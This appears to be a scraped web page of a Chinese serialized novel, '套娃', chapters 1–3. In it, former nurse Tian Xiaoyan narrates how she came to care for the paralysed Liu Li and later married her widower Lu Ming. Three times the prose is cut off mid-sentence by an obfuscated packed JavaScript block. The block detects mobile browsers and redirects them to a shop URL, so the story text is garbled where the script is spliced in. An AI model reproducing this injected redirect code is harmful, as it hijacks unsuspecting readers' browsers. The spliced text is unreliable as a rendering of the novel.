《套娃》
1. 第 1 章
今天是我的婚礼,我叫田晓燕,今年三十七岁——这个年龄,也就没有什么好隐瞒的了。这是我第二次结婚。
所以我一开始对再办一场婚礼这件事,还有点不太好意思呢。多亏我男人说服了我,他就一句话,不想我受委屈。我真感谢他有这份心,也算是下半生有靠了。
他叫卢明,今年四十二岁,我俩都是二婚,都是丧偶。我们是在医院认识的。
我的丈夫早几年去世了,认识他的那次,正值我妈要做个小手术,我去陪床,旁边的病床上就是他老婆,他每天衣冠楚楚过来探病,像个跑销售或者卖保险的,所以给我的印象很深。
他确实是个卖保险的。后来他才告诉我他当时有多辛苦:每天医院、公司、家三点跑,哪边都放心不下。他没办法陪床,每晚要开一个钟头的车回郊区的家,儿子还在家里等他。
他每天都会为他的老婆擦身,雷打不动,我就没见过比他更体贴讲究的男的,到医院的第一件事情,放下公文包,脱下西装外套,顺便解袖扣,工工整整折到手肘,然后就拿上面盆去水房打水,动作麻利的很。只要我们在场,总会主动提出顺道帮我们带一个暖瓶的。等他兑好热水,端着水盆和手巾走到床边,还要先冲我们礼貌地笑笑,然后再拉上隐私帘。
我总是也还他一个笑容——那就是我和他最初的短暂的对视。他在这个年纪算是五官周正的,身高有一米七五,估计年轻的时候也算的上是个帅哥——当然了,我那个时候什么想法都没有。
刘莉,是他老婆的名字。他来的第三天晚上,白天他不在的时候,我们两张床第一次聊起闲天,彼此就都认识了。刘莉脾气很好,果篮里的苹果,还送了我和我妈两个,我那时啃着苹果,颇有些食不知味。
隐私帘是蓝色的,将天花板上的白炽灯切成两半,看不见那里面的场景,不过能看见帘子最下面,卢明的黑皮鞋绕着床边打转,刘莉睡在床上的身影就像一座小山。传来洗毛巾、拧毛巾的水声,还有床板不堪重负的吱嘎声,卢明时不时说:“翻身。”
“头抬一下。”
“别动了。”
这种简单的指示,他的声音很温柔。过了一会,水声听不见了,被细细簌簌的穿衣声取代。给刘莉穿衣服可也是大工程,所需时间不比擦身少。等到终于都结束了,我听见他在刘莉脸上“啵”了一下,那声音其实并不大,只是刚好被我给听见了,然后他很满意地称赞了一声:“乖。”
我倒不是别的什么……一个丧偶的女人旁观了这样温馨的场景,羡慕是自然而然的。刘莉她……真是有福气啊!
何况她那么肥。
和刘莉比起来,我都算苗条的。160,80公斤,刘莉看起来给我差不多高,我猜她至少有120。在刘莉面前,我头一次感到了一些瘦子的优越感。那个苹果只吃了一半就丢掉了。
私下里,我妈凑到我耳边,我还道是什么:“你注意点。”
我一愣。注意什么?难道是我看卢明的目光太明显了?
我妈清瘦了一辈子,奈何我像我爸。掐起我胳膊上的肥肉,低声说:“别肥成刘莉那样!你看那一身的病!”
我愤愤不平,忍住了没有呛回去。
她倒是瘦,也不看看现在是谁在住院?我可健康的很!
下午聊天时,刘莉对自己的情况倒很坦然。她确实是胖,为了收她住院,两张特护病床拼到一起才装下她。她的病说来很简单,却也很复杂,她瘫痪很多年了,又胖,各种并发症都有,为什么还能那么乐观呢?——可能是因为有一个好老公吧。
“瘦过啊,瘦过的。”她说,肯定不止一万次其他人给她的建议都是减肥,我妈也不例外,作为陌生人来说可能有点唐突了,但她也没有生气,都说了,她脾气很好。
“我啊,没生小孩之前,才42公斤呢!”
我吓一跳。那么瘦?吹牛的吧!我那个体重的时候,估计还在初中……
后来我看到了卢明和她的结婚照,证实了这件事。
刘莉其实五官很漂亮,因为是美人的坯子,所以更让人感到遗憾。她的身体大的惊人,松软的身体像是奶油一样流淌下来,又白,脸相比于身体来说是瘦的,但也只是相对而言。脖子与脸盘之间几乎没有衔接,肉脸看不见骨骼,下巴竟然还能看出来,在一堆肉上虚浮着,显得有些诡异。
为了跟我们说话,她的眼睛使劲朝右上角觑着,看上去竟有几分俏皮,像个故意搞怪的年画娃娃。
“姑娘,听姨的,还是得减啊!”我妈恨铁不成钢一样,“姨敢打包票,你瘦下来绝对是个大美女!”
我在一边陪笑。
“姨是有经验的人!生孩子,多少女人不都是那么吹起来的吗?难减,但也不是没办法,只要管住嘴,迈……”
后两个字被她硬生生吞进肚里,差点一口气没上来就是了。
那句话我都听过多少次了。管住嘴,迈开腿呗。
可是刘莉的腿自十年前的车祸之后,再也迈不开了。
突然的冷场,刘莉如何不知,可她只是笑笑,转开话头:“谢谢姨,还有晓燕,我桌子上有果篮儿,你们不要客气,自己拿着吃啊。”
我讷讷拿了两个苹果,朝刘莉道谢,这件事情就这么揭过去了。
我妈那边却还不算完,估计是想找补一下,所以提起卢明,这两天她都看在眼里,私下里也有几分感慨:“我看啊,你那是幸福肥!这年头的男的,做个家务都推三阻四,更别说帮你忙前忙后的……从哪找的那么好的老公啊?”
我妈或许只是为了恭维,而我……是真的想知道!朝刘莉看去。
提起卢明,刘莉的眼里几乎流出蜜来,嘴上只是克制地笑笑:“我们从小一起长大的。”
“原来是青梅竹马呀!”
刘莉幸福地笑而不语。
“嗯,他对我还不错。”
“何止是不错!”我妈摆手,“我看你卧床养病这么多年,身上干干净净,褥疮都没长过吧?我可见过比你时间短的,老公照顾得那叫一个糙,翻来覆去地长褥疮,嚯,身上那味儿!”
她表情生动,皱着鼻子的样子把刘莉逗笑了。
有些人是这样的,被提到自己的幸福,就会不好意思,努力让其他人也有参与感。刘莉就是那种人,急着把话头抛出去。
“也就那样吧。——晓燕老公呢?”
“死了。”我顺嘴答道。
这个答案每次出现,都不由得带来气氛的变化。
刘莉惊诧噤声,不确定我是说真的还是气话。
我心平气和,怕她误会什么,认真道:“他生前对我也挺好的。”
我是从来不往回看的人,提起我的老公胡一亮,不管他生前多么混账,在他身后说起他,我还是处处维护。
我是相信冥冥之中那些事的,或许就是他在默默保佑着我,我后面才能找到卢明那么好的男人。
听我提起亡夫,不仅是刘莉,一旁的我妈神情也有点讷讷的,我不由得多看了她一眼。
虽然说起胡一亮在我这里已经翻篇儿了,但是这并不代表我喜欢在一个刚刚认识的人面前提起这件事。还不是因为她!刺探刘莉的私隐,所以我也得拿一部分秘密去换。
随便聊聊就踩到雷区,刘莉看起来十分愧疚,一副欲言又止的样子。
我先摆摆手:“没事儿。”
她着实不用感到愧疚什么的,她有一个好老公是很幸福没错……但那小小的幸福和她那坎坷的一生相比,又算的了什么呢?
卢明就像是上天给她的一点点小甜头。她可真苦啊!一起住院那几天,因为太胖血管不好找,她每天都要被扎上好几个针眼儿,每天夜里,我听见她难受地翻身,叹气,已经尽量把动作放轻了,可承受着她的床可不答应,发出的响声无法忽视。我妈被扰了清梦,可不管白天的交情,当下也不给面子,发出不满的啧啧声。
那边听见了,声音马上停了。可是不过一会,又继续下去,病痛是不给人静待的机会的。
刘莉其实脸皮很薄,本来是三人病房,因为她拼床的缘故,一个房间就她和我妈两个人,哦,还有我。想到夜里那些搅扰,我妈对刘莉有所不满,渐渐不主动找她聊天儿了,刘莉感觉到了,却也不提,装作不知道。我在她们中间,谁也碍不着我,每当我心平气和地跟刘莉聊天,她立马露出非常感激的神情。
对于她那样的病人而言,日子就这样一天天的熬着。
而她终于还是没熬过,死在了手术台上。
死因非常不体面。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782284|145797||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
术前要求禁食禁水,她偷吃了一碗面,谁也没告诉,连卢明也不知道。刚开始打上麻醉不久,气管放松,胃里的东西泛了出来,她就在手术台被呕吐物呛死了。
“怎么就是管不住嘴呢……我还不相信她长那么胖,果然是有原因的……”我妈想起来至今还絮絮叨叨。她节食了大概有一辈子。
我冷笑,如何不明白她含沙射影,是希望我引以为戒。那个时候,我已经和卢明开始交往了。
她不知从哪里听来,估计是她那些跳广场舞的小姐妹吧——觉得卢明和我在一起,只是因为我胖而已。听说世上有那种奇怪的男的,专门喜欢肥胖的女人……可看那刘莉肥的都没型了!他那么多年不离不弃,比起相信一个忠贞的神话,三姑六婆更愿意猜测是某种奇特的性/癖使然。
据说以他的条件,曾经有个头婚的长相周正的年轻姑娘要和他好,他都没同意。怎么落到我这个二婚头上?
我年纪大,家里条件一般,长相也平平,身材更是……这些条件封锁了我在婚姻市场上的行情。倒推回去,卢明图我胖,倒好像是唯一的解释。
我妈不敢明着问,旁敲侧击,我当然要反击回去。
“哎哟哟,怪不得别人说,丈母娘看女婿,哪哪都满意,你也觉得他条件好,我高攀了是吧?”
我妈没有吭声。好像知道我要说什么。
“刘莉有那个福气,是她家里父母给她积了德!我没那个条件,好不容易找到个好男人,就算只是因为我胖,那也是我自己挣出来的!别人管不着!”
我话里自暴自弃,还要拉我妈和我爸老两口下水。
当年我就是听了他们的话,嫁给了胡一亮,同样是青梅竹马,再看看人家的门当户对呢?轮到她现在来埋汰我?
我语气冲,虽然是在撒气,心里也委屈的很,说到后面,不免哽咽。
“唉,你别哭啊,妈错了,妈不是那个意思……”她低声下气,给我道歉,我用手三下两下抹去眼泪,湿润的脸颊上像洒了一层盐,绷得紧紧的。
我今年三十七岁,人到了这个年纪,再想谈婚论嫁,不谈条件,是不可能的。
我家境普通,自觉比不过刘莉,外貌也比不上她漂亮,唯一的长处,除了身体健康,还有……比她瘦一点儿。
不对,如果我妈的猜测是真的,最后一点在卢明那里,反而成了缺点。
……我不得不承认,她的怀疑是有可能的。但当着她的面,我选择打碎牙齿咽进肚里。
我必须得承认,我是个要强的人。第一次婚姻已经失败了,卢明这种明眼人都知道打着灯笼都难觅的好男人,即使有三两疑点,我也绝不会放过!
刘莉去世后三个月,我和卢明的婚礼即将举行。
我妈也可以放下她的担心——我把自己塞进了M号的婚纱里。
我瘦了快三十公斤,那些说卢明图我胖的声音可以歇歇了。另一种声音则是觉得婚期太赶——可是我们等不了了。
镜子中,我身穿婚纱,全身上下露出的皮肤都涂得雪白雪白的,叫我感到陌生,我又想起了刘莉。这是我见过我自己最漂亮的样子,比年轻时还要好,瘦了真好,我成年后从来没这么瘦过。我也是第一次发现,我的眼睛原来是清秀的内双,虽然那大小被厚重的假睫毛一压,依然有点捉襟见肘。
“晓燕,你真美。”卢明适时出现在我背后,目光炽热地落在镜子中的我的身上。我的心里获得了极大的满足,只可惜我妈不在边上见证这一甜蜜时刻。
他的手从身后环抱过来,若有似无地落在我的小腹周围,我吓了一跳,赶紧把他的手拍开。
他一愣,随即释然地微笑。
“怕什么,晓燕。”他道,我没有回答,真怕这时有人进来,听见他说的话。
他的表情十分奇异,充满狂热,双手重新按上我微隆的小腹,一层又一层白纱隐匿着这个甜美的秘密。
只有我俩知道,这里面揣着一个娃娃。
他宠溺的笑容让我对未来充满着期待。
我今年三十七岁,说起来怪不好意思的,这是我第二次结婚,却是我第一次怀孕。
我们的婚礼在相识一年后,我孕十五周,再晚只怕显怀了。
是的——刘莉死于三个月前。
2. 第 2 章
婚后不久,我正式搬到了卢明家。
他家住在郊区,是一层精致的洋房小楼,我不由得想起我第一次来时的惊艳……当时怎能想到,有朝一日,我也能住在这里。
这是刘莉家的老宅,他们自婚后在这里住了也有十几年了,处处都是上一任女主人的痕迹。
刘莉啊刘莉。
她拥有梦幻般的前半生,家境阔绰,和卢明少年夫妻恩爱,如果不是车祸瘫痪,管不住嘴,应该至今过着幸福的生活吧?
我不由得唏嘘,又想起了那个白的像奶油蛋糕的女人。
……
仍然是在医院。
那一天,卢明在来的路上出了车祸,救护车把他送来了目的地。
三人病房里,一通电话打给刘莉,她明显吃惊,谁会打给她?
电话铃声一直在响,我认命走到她床边,帮她摁了接通键,然后递到她耳边。
接了电话的她表情一下就变了。
“晓燕姐,帮帮忙,能不能去急诊室看下我先生?”她急得都快哭了。
“他怎么了?”
“说是出了车祸……”
我也吓了一跳,忙安慰她别着急,答应帮她跑一趟。
这个医院我很熟悉,不一会就到了急诊室,冲去护士台找人,值班护士抬眼看见我,一下笑了。
“田护士长?”
我一愣,一时对不上人名。
“我是王晴。小王,您还记得吗?”
我装作恍然大悟的样子,实则记忆早就模糊不清。
自从胡一亮死后,我便从这家医院离职了。说起从前,就像上辈子的事情。
“您找人吗?我给您查一下。”
有熟人还是很方便的,我不一会就被带到了卢明的床位。
他右手骨折,轻微脑震荡,ct待查——我从床尾的病历本上得到的信息。
他不知道是我来了,躺在床上休息,好的那只手放在眼睛上挡着光,青色的胡茬在灯光下尤其明显,下垂的嘴角绷着,看起来很困倦。
我第一次主动跟他说话,还只有我们两个人的情况下,便觉得有点尴尬。
“你没事吧?”
“是刘莉让我来的……”
他听见声音,放下手臂,躺在床上侧着脸看了我一阵,想起称呼:“是你啊,晓燕。”
我答应一声。
“她还好吗?”
刘莉能有什么不好的……
我礼貌地笑笑,“她接到电话,很担心你。”
“我没事,轻伤而已。”他说,坐起身来,估计有点不好意思,“怪我开车太不小心了。疲劳驾驶。”
“人没事就好。”我唯有应声。
又应他的要求,回去陪着刘莉,他请我把随身的包一并带过去,倒是很放心我。他一只手不太方便,我便帮他拿身份证,和车钥匙,一会还要转交给汽修店的人。
我头一次看到奔驰的车钥匙,心里不免想:现在卖保险的原来都那么有钱吗?
“谢谢你,晓燕。”
回到病房里,向刘莉报告了卢明的情况,她才终于放下心来,眼中满是感激。
为了这夫妻俩,我那一天就没停过。过了不久,卢明打完石膏回来了,他今天那个状态,想给刘莉擦身是不能够了,我心一横,看见他也正犹豫着要不要开口,索性主动请缨:“我来给刘莉擦吧!”
我妈去了隔壁病房找人聊天不在,病房里没别人,可是隐私帘还是拉了起来,把我们三个人罩在里面。我的心情不知为何有点奇怪,感觉好像一脚踏入了一个神秘的世界。
身为曾经的护士长,我虽然闲了好几年,护理起病人来还算专业,何况本来也就是擦身体的力气活,没什么难的。我曾在隐私帘外设想的一切,自己亲身经历了一遍,光给刘莉解衣服就花了不少时间,果然。她穿了一层又一层,每颗扣子都扣的严严实实的,对她的庞大身体而言,扣子显得更小了,解起来感觉手都打滑。不用多说,都是昨天晚上卢明的手笔。我不由得再叹一声,他真是耐心又细致。
才过不久,我一头汗,刘莉也一头汗,我是累的,她是因为紧张。
她雪白的身体袒露开来,肥肉失去了衣服的管教,流到床上好大一滩。卢明端坐在一旁的椅子上,监护着我们,背上挺得直直的,有些紧绷,随时准备过来帮忙的样子。审视的目光跟随我的动作移动,无形中参与着一切,也不知此时时刻在想什么。
水温都已经有些凉了,不过反正刘莉也感觉不到,我也懒得多加点热水。我先帮她擦了把脸,那温度或许刚好,她又露出那种半是感激半是讨好的微笑。我擦完她的脸,拧了一把帕子,再沾上她身体的其他部分,需得把那些层层叠叠的肥肉拎起来操作,我想象着卢明十足的细致,务必将每一个夹层里的汗水和灰尘清洗干净。她的肉软而无形,像要从我的手中随时滑走。因为长期瘫痪的缘故,血运不比正常人,摸起来是温凉的触感,我联想到在清晨的菜市场上翻捡着猪肉。
她微红了脸,即使当着一个同性和自己老公的面,仍然改不了脸皮薄的毛病。
为了缓解尴尬,她和卢明说起话来,我专心手上的活,分出一分心神听着。
“要我说,咱把郊区那个房子卖了吧。离得太远了,你路上要是再出什么事……”
“不行。”他斩钉截铁地说。
刘莉美丽的大眼睛里盛满后怕:“可是你成天跑来跑去,我不放心。”
“卖了吧,在这附近离的近的地方再挑一套,你上班,还有小越上学,选个去哪都方便的地方。”
“不要。”他轻声细语,却态度坚定地拒绝,“十几年都这么过来了,那边有什么不方便的。反而你住院是暂时的,我们还要一起回家的,不是吗?”
刘莉没话说了。
“我今后上下班会当心一点。”他承诺道,这个话题就此结束。
刘莉表情有些局促,过了一会,脑袋在枕头上不安地动了动,似乎还想想说什么。
“又怎么了?”卢明问,语气很温和,但是。
我正走到床的另一侧,那个位置正好可以看见卢明的表情,他揉了揉眉心,表情介于困倦与厌倦之间,我一怔,第一次见他在刘莉面前露出那种略微有点不耐的神气。
人非圣贤,我倒并不觉得奇怪,反而觉得这才是正常的。
刘莉突然偏过头去,小声啜泣起来。
——倒不是因为卢明的态度,而是。
空气中弥漫着淡淡的属于排泄物的臭味。
刘莉在哭,卢明反应过来,椅子上站起身来,似乎想要处理,却苦于只有一只手,我有点尴尬:“我来吧。”
为了他们夫妻俩,我那天一直忙活到九点才算完。刘莉这种病人,我之前遇到过,又好像没遇到过。遇到过的是类似的病情,但像她那么脸皮薄,又在意体面的病人,属实是头一遭。
这个年纪,就算是健康的人,我也觉得是有点矫情了。简直像个未经事的小女孩一样。
我想可能是卢明把她照顾的太好了?
事情发生之后,我一直安慰她说“没事”,她却还是一直哭个不停,因为觉得自己丢人。我敷衍了两句,没话说了,借口丢垃圾,走出了病房。
我甩着手上的水走出洗漱间,正好看到了在门口的卢明。
他在等我?
他斜倚着墙壁,看见我出来,也一愣,忙站直了身体,好用的那一只手从自己口袋里掏出一个东西,递给我。
什么年代了,还用手帕?
见我有点奇怪地望着他,他忙道:“这是新的,没用过的。”
为了处理刘莉的一些突发情况,带手帕是他的习惯。
我接过来,将手擦干。
“谢谢。”
“我得谢谢你。刚才……麻烦你了。”他不好意思地冲我笑笑,我也冲他笑笑:“没事,这种事情很正常,也不能怪她。”
我们心照不宣地对视一眼,像刚从同一条
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782285|145797||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
战壕里出来的战友,陌生的氛围被迅速拉近。
“今天多亏有你……给你添麻烦了,真是,不知道怎么谢谢你才好……”
他仅剩一只手也诠释了什么叫做抓耳挠腮,“伯母爱吃螃蟹吗?最近的河蟹下来了,好像还不错,伯母,唉——你爱吃吗?”
我但笑不语,指了指他。
“怎么了?”
“不用客气。我抽支烟就得了。”我说,一指他外套胸前口袋露出的烟盒,他一愣。
我问了一句:“我能拿吗?”
不等他回答,转眼,伸手把烟和火都拿到手里,熟练地点起一根,剩下的插回他兜里。
我冲他摆了摆手,示意他随时可以先走,指尖夹着烟,脚步一转,往病房的反方向走去,等了一会,听见身后响起脚步声。
我们到了附近的一个天井,来来往往的人变少了。我靠着栏杆自顾自吸烟,并不开口。
“原来抽烟是来这里。”他率先打破沉默,一副恍然大悟的样子,好像什么意外的收获。
他看了看我手里的烟,有点眼馋的神色。
“你不来一根?”
“戒了。”他摆摆手,“怕对病人不好。”
我听了他的话,低头笑笑。
“我等抽完这根就回去。”我朝空中吐了一口烟圈:“你不用回去看着刘莉吗?”
他摇摇头。
要回去早就回去了,何必跟我一起来这里。
两人攀谈起来,他问起我的事情,似乎很感兴趣。
“我听说,晓燕你之前是这家医院的护士长?”
“啊,对。”
“为什么……辞职了?”
我看了他一眼,多少有点意外他有此发问,也不欲多说:“生病了。”
他一时哑然,那样子就跟他老婆上次自觉失言时一模一样,我不由觉得好笑,弹了弹手指上的烟灰,放过了他:“没有,骗你的。”
他的表情像是被人强行架在半空中,一口气下不去,等我至少给他一个答案,我明白的。
“家里出了一点事。”我不欲多言。
“噢……”他讷讷答应着,识趣不继续问下去,另起一个话头:“也不知道现在在忙些什么?”
他问起我的工作,我心里腹诽,我天天陪床,像是个有工作的样子吗?
虽然心中不喜,我有问必答:“闲着。”表情正一正色,“啃老。”
他被我的直白冲撞得呆了一呆。
我可没有撒谎,虽然这几天下来觉得这个男人作为丈夫属实不错,但我敢这么跟他说话,足以证明我当时对他没有任何非分之想。
“你呢,你是做什么的?”
“我啊,保险公司,跑业务的。”因为我几番语出惊人的回答,他也有点紧张起来,话说完,顺势从口袋里取出一张名片。
卢明。xx保险高级客户经理。
原来还是个成功人士。
我玩着手里那张小卡片,随口应和道:“蛮好的。”
“我也有朋友在保险公司做事,不过看起来你们xx保险看起来待遇是最好的。”
我不动声色地冲他微笑,想到了不久前他和刘莉的对话。已知本地人,房子在郊区,卖掉在市中心再买一套……那么简单的?
还有他的大奔……
都是成年人,他并非不明白我的话中之意,也很坦然:“我这工作赚不了几个钱。真要说的话,我的工作大概是照顾刘莉,我岳家唯一的愿望,就是让刘莉体体面面地过一辈子……即使事已至此。”
“看这情况,说不好得把工作辞了才行呀……”
他说的深了,声音也跟着低了下去。
我若有所思地看着他,直到烟蒂烧到自己的手指。
他很诚实,能有超出规格的生活,是因为刘莉父母的荫蔽。我很感谢他的诚实,不过当下到底有点奇怪,他为什么要对我说那么多。
后来才知——原来他有一份工作给我。
3. 第 3 章
那栋漂亮的洋房小楼现在成了我的家。刘莉和她的父母都已过世,作为卢明的新妻子,我就是这里唯一的女主人。
在二楼阳台上望见小花园,里面种着刘莉生前最喜欢的三角梅,在阳光下艳光夺目,生机盎然。
为了刘莉活动方便,她的卧室在楼下,二楼是他们曾经的房间,后来成了卢明独住,再后来,我搬了进来,这里成了我和卢明的新房。
阳光充满眷恋地洒在房间伸出去的露台上,不由得就让人想到人生值得,诸如此类的话。
阳光与阴影在露台附近交会,一小块重叠的颜色浅淡的阴影,我想到在这间房子里的,刘莉的前世,我的今生。
想到我第一次来到这个房子时的场景。
那个时候,刘莉还活着。
……
我妈出院时,刘莉还没有,我们互相礼貌地告了别,没有留下联系方式,也没有想过会有再见的一天。
可世事就是那样奇妙,第二次,住院的人换成了我自己,没成想隔壁床还是刘莉。
那已经是两个月以后。
“我来动个小手术,没啥大事儿。”一番见面的惊喜寒暄之后,我这样说明自己来这儿的原因。
“你们,是一直在这儿呢,还是……”
我对着拉上的隐私帘好奇发问。
刘莉睡着,气管被肥肉挤压,发出鼾声,卢明照例给她擦身,轻手轻脚地围着床位移动,边回答我的问话。
“我们也是又回来的。唉,她这病一直不见好。”
一丝不苟地完成了全部工序,他把隐私帘重新拉开,我便看见了里面的情况。
慢性病人,一直不见好是常态,就怕更糟。
刘莉好像是更糟了。
她肥胖的身体整个肿胀起来,露出的皮肤雪白而饱满,饱胀而晶莹,有种格格不入的岌岌可危的美丽。
危险的水肿。
周围监测生命体征的仪器比我上次见到的还要多,持续发出冰冷的机械的嗡鸣。
我再看卢明,他比上次见反而清减了,脸上有种发愁的神色挥之不去。
他搬了个椅子坐到我们两张床中间,我作势往边上挪了挪,久违地有点局促。
“你这段时间还好吧?实在没想到又能遇到……”
“可不是嘛。真是太巧了。”我顺着他的话说,指了指隔壁床上的刘莉,压低声音,“咱们这么说话,不会吵到她吧?”
“放心,没事。她睡得死。”卢明浑不在意地摆摆手,急转直下地叹了口气,苦笑道:“重新见到你,真挺高兴的,不过转念一想,好像也不是什么好事,还是健健康康的好……”
我有点无法集中注意力,附和着他说的话。他的声音,和隔壁刘莉的鼾声,还有我头顶的点滴成了一种令人迷幻的和音,后面具体又说了什么,我记不清了。
事情的结果是我从他那里获得了一份工作。
我心想,好吧,反正闲着也是闲着。
工作内容是照顾刘莉,也就是说,护工。
他给刘莉请过好几个护工,总也不满意,都没能留下。
许是上次我帮忙照料刘莉,让他动了这个念头。已经酝酿了一段时间。
他看起来很怕我拒绝,尽管开出的条件足够优渥,还一副忐忑的神色,估计对于选择的这个时机有点惭愧——看看我身上的病号服吧,我也还是个病人呢。
但是时机之所以被称为时机,就是因为它宝贵,没得选。不然我很快就出院了,或许就此错过。
我没有道理不答应他的请求。等我身体恢复的差不多了,欣然上岗,刘莉出院。她身体各项指标都不大好,但说急症好像也算不上,再一点,她也不喜欢待在医院。如果有我的话,刘莉在家,卢明也能放心了。
那是我第一次住进卢明家的洋房小楼,对于这栋房子的惊艳自不必多说。我住在一楼,就在刘莉房间的套间里,方便照顾她。
卢明白天去上班,家里就我和刘莉两个,很安静。
“燕姐,那个不用你做。”刘莉瘫在床上,背后垫了高高的枕头,难得醒了会儿。
我在拖地,就像她说的,这本来不是我的职责范畴,他们家有另外的保姆。但是我闲的慌。
我想让自己动起来。刘莉在这个家的存在感太强了,她就像一个静止的惰性的漩涡,不由自主就把人吸引进去。来这儿的第一周,我做完事便回房间休息,没事儿也在床上歪着,短短几天就胖了三斤。
刘莉的房间里有一个很久不用的体重秤,刘莉让我随便用,站上体重称的时候,她在旁边好羡慕地看着我。
“怎么样?”
“胖了。”
“几斤?”
“三斤。”
“哎呀,三斤而已。”她没忍住露出一个共沉沦的笑容,刺中了我的眼。
又安慰道:“没事儿燕姐,没啥影响。我觉得你不胖。”
谁要她觉得!
难道人人都要跟她比?跟她比,当然是不胖的了。
我表面上不可能跟雇主呛声,不过心里暗暗发狠,不能放任自流,长的这三斤,我也一定要减下来。
刘莉待人好,脾气好,也不多事儿,可相处地更熟了一些,我唯独受不了她身上那股中学女生的矫情劲儿。
她总是对卢明撒娇,等跟我熟了,也无意识地对我撒娇。
其实她的小孩都快上中学了!
——夸张了,她和卢明的儿子叫卢越,差不多十岁的年纪。
唉,说起卢越,我又有好多话说。
这个孩子真是可怜又招人爱。
都说儿子像妈妈,果然不假,刘莉被浪费的美貌在卢越身上得到了最大化的诠释,他的五官比我见过的许多小女孩儿还要精致,皮肤也和妈妈一样白,格外斯文秀气。
他读一个高级的寄宿学校,每周回来一次——没办法,之前没有帮手的卢明,根本没办法再匀出一份心力照顾他,也是无奈之举。
我第一次见到他,他背着书包安静地站在玄关,头发有点儿长了,几乎盖住眼睛,我正从刘莉卧室出来,看见他,一愣。
卢明还没有回家。
我回忆了下:“你是那个……卢越吧?”
第一次见面,他竟然知道怎么称呼我,乖乖巧巧地叫了一声:“晓燕阿姨。”
他坐下换拖鞋,我受宠若惊,过去帮他提了一下书包,啧,真沉。
没事儿跟刘莉聊天,卢越是个不会出错的话题。
“小越长得真俊,像你呢。”
我对刘莉说,她低头不好意思地笑,能开出来心里非常开心。对于刘莉来说,丈夫和孩子就是她最大的骄傲。
“他今年多大了来着?”
“上个月刚满十岁。”
我一愣,我记得刘莉的车祸也是十年前。
“那岂不是说……”
“对,”刘莉叹口气,道,“我出车祸的时候,肚子里正怀着他。”
我惊得倒吸一口气,刘莉被勾起了回忆,眼睛湿润了。
“能保住这个孩子,连医生都说,是个奇迹。”
时隔多年,她叙述时的伤痛渐渐淡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782286|145797||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,不过仍是后怕,缓解地笑了下。
其中凶险不必多言,母体病危,卢越被紧急引产,老天眷顾,竟都奇迹般地生还。刘莉差点活不了了,即使侥幸活了下来,瘫痪的痛苦,产后的痛苦……她一一挺了过来,远比看上去顽强。因为病情危急,用了不少激素药物,人还在床上便像气球一样吹了起来。
真是幸运又不幸的一家子啊。我也忍不住感叹。
不过卢越并没有我想象中那样亲近刘莉,相反,甚至有一种连我这种外人也察觉的到的生疏。
谁叫这个母亲没有抱过他一次,也没有奶过他一口。
我猜他们甚至连饭都没有一起吃过。
卢越年纪不大,却很沉稳,每次回家,到了饭点,轻车熟路地自己去厨房热饭,再在餐桌上自己默默吃完,随后回到他在二楼的房间。
我的到来给这个家带来了些许不同。
第一次,他在餐桌上看到了新鲜的饭菜,他没有碰,按原计划去了厨房。
第二次,他犹豫了一会,在餐桌前坐下,尝试了新的一餐。
第三次,我坐到了他的身边,他明显有些不习惯,不过还是硬着头皮吃完了。
如此有了第四次,第五次,有一次,卢明提前回家,我准备回避的时候,卢明却叫住了我。
那是一次难得的三人的用餐,卢越吃的很香,饭后和爸爸腻在一起,场面很温馨,而我躲去厨房洗碗,准备刘莉的饭菜——每次饭后都是如此。
转眼我在他家当护工,已经一个多月了,有一天,我觉得是时候了,叫住卢越:“小越,帮阿姨一个忙,好吗?”
“要我做什么?”
“帮阿姨把饭给你妈妈送去。”
他惊讶地看着我。
刘莉的房间门虚掩着,静默无声地等待着。
卢越犹豫了一下,照做了。他是个听话的好孩子。
我在外面等了一会才敲门进去,门刚打开,卢越便冲出来了,径自跑上二楼,把房间门关上。等我进去,先是听见床上刘莉的哭声,只见床头柜上放着餐盘,筷子歪歪扭扭摆在一边,上面还沾着几颗白米粒。
刘莉全身几乎只有头能动,此时边哭边咀嚼着,抽泣带动着全身的死肉都颤动起来,像一座融化的软山。儿子喂了她一口饭便落荒而逃,不妨碍她满怀感恩,越嚼越甜。谁看了都会觉得心酸——世界对这个女人也太吝啬了。
打那之后,刘莉对我由感激生出依赖,待我更加亲厚。至于卢越,不是我吹嘘,我知道他一直很喜欢我。
我和胡一亮结婚多年,没有孩子,一直是我的遗憾。
卢越这孩子,在我心里没有瑕疵,简直像个天使。
有一天晚上,我去了二楼他的房间取回空牛奶瓶,他已经睡了。
台灯没有关,他侧躺着,已经睡熟了。
我忍不住替他掖了掖被角,注意到他怀里抱了一个玩具。
